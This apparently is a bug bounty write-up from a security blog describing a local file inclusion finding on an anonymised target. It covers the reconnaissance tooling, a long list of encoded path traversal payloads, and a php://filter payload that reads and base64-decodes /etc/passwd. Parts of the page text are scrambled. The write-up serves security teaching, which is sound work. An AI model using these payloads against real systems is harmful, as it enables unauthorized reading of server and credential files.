Strik3r Blog
  • $ whoami
  • Security Research
    • CVEs POCs
      • CVE-2023-37831
      • CVE-2023-37832
      • CVE-2023-37833
      • CVE-2023-37835
      • CVE-2023-39695
      • CVE-2023-36082
      • CVE-2023-36081
      • CVE-2023-34673
      • CVE-2023-34672
      • CVE-2023-34671
      • CVE-2022-44354
      • CVE-2022-44355
      • CVE-2022-44356
      • CVE-2022-48164
      • CVE-2022-48165
      • CVE-2022-48166
      • CVE-2022-44357
    • How To Pass Your eJPT Exam
    • Hacking IoT Introduction
    • Hacking wireless by monitoring
    • The Art of Camouflage: Exploring Advanced PHP Backdoor Obfuscation Techniques
    • Beyond the Desktop: Exploiting a Leaked Token for API
  • Hack The Box
    • Paper
  • CyberTalents Challenges
    • Web Chanllenges
      • Private Agent
    • Intro to Cybersecurity Bootcamp CTF Assessment
  • Bug Bounty
    • Easy LFI
    • HTTP PUT Method Exploit
Powered by GitBook
On this page
  • Subdomains Enumeration
  • Collect Them All
  • Wrapper
  • EXTRA

Was this helpful?

  1. Bug Bounty

Easy LFI

Easy Local File Inclusion Report

PreviousIntro to Cybersecurity Bootcamp CTF AssessmentNextHTTP PUT Method Exploit

Last updated 2 years ago

Was this helpful?

Hello Hackers !!

I`m going to share one of my last & fast finding

let’s call it target.com, they runs a bug bounty program with wildcard scope *.target.com

Tools:

Subdomains Enumeration

In this step it`s a gold tip to use multiple tools to gather good results, I like to use

Subdomainer is an automation tool for domains & subdomains gatherin wheather for single target or multiple targets. Subdomainer uses multiple tools for doing the subdomains & domians gathering job in a perfect way, it can take a domains / targets list and doing the whole operation on them and after finshing the job it save the result in a comprehandable & ordered way.

A simple usage for Subdomainer

./subdomainer -t target.com –f true

A lot of thing comes after subdomains gathering, one of them is collect all urls from live hosts and filter any intersting parameters or endpoints

Collect Them All

So in this step I use

Usage Of Waybackurl: This is really a good tool for bugbounty hunter to fetch all url from wayback machine .

cat all_live.txt | waybackurls

Wrapper

Now we have all wayback urls now You can grep to collect you interesting parameter or end point usage:

grep -iE “redirect=”

A wrapper around grep to avoid typing common patterns.

cat waybackdata | gf lfi | tee -a lfi.txt

after that we can go and check these endpoint manually

Luckily, I noticed a very promising endpoint /download.php?file and my spidey sense got activated

After visiting this host i found that this endpoint was for downloading pdf files

when trying to inject 1 to this parameter It downloads a file contain this error

so clearly this function job is to seacrh for a requested file via this parametr in this path and try to get

without another thought i injected some payloads like this:

..\..\{FILE}
..\..\..\{FILE}
..\..\..\..\{FILE}
..\..\..\..\..\{FILE}
..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\..\{FILE}
..%255c{FILE}
..%255c..%255c{FILE}
..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%5c..%5c{FILE}
..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
%2e%2e\{FILE}
%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%252e%252e\{FILE}
%252e%252e\%252e%252e\{FILE}

But no luck .. i got the same error message

in spite of that something was telling me to keep digging into this 🧐

php://filter/convert.base64-encode/resource=/etc/passwd

php://filter allows a pen tester to include local files and base64 encodes the output. Therefore, any base64 output will need to be decoded to reveal the contents

So let`s decode this base64 string

echo "BASE64_STRING" | base64 -d

And we got our /passwd file decoded

EXTRA

  • xss

  • ssrf

  • idor

  • ssti

  • open redirect

  • etc

A great Place to find more LFI bypassing tricks:

Thanks For Reading

But that would take a lot of time and effort. To automate this process we can use tool

By using I found that this host is running on php, so I used php file wrappers payload

Although these tools and techniques are few, there is a lot that can be done with it . you can use multiple to get :

Subdomainer
waybackurls
gf
Subdomainer
waybackurls
gf
wappalyzer
Gf-Patterns
File Inclusion/Path traversalHackTricks
Logo
base64 decoded output from /etc/passwd on a UNIX / Linux system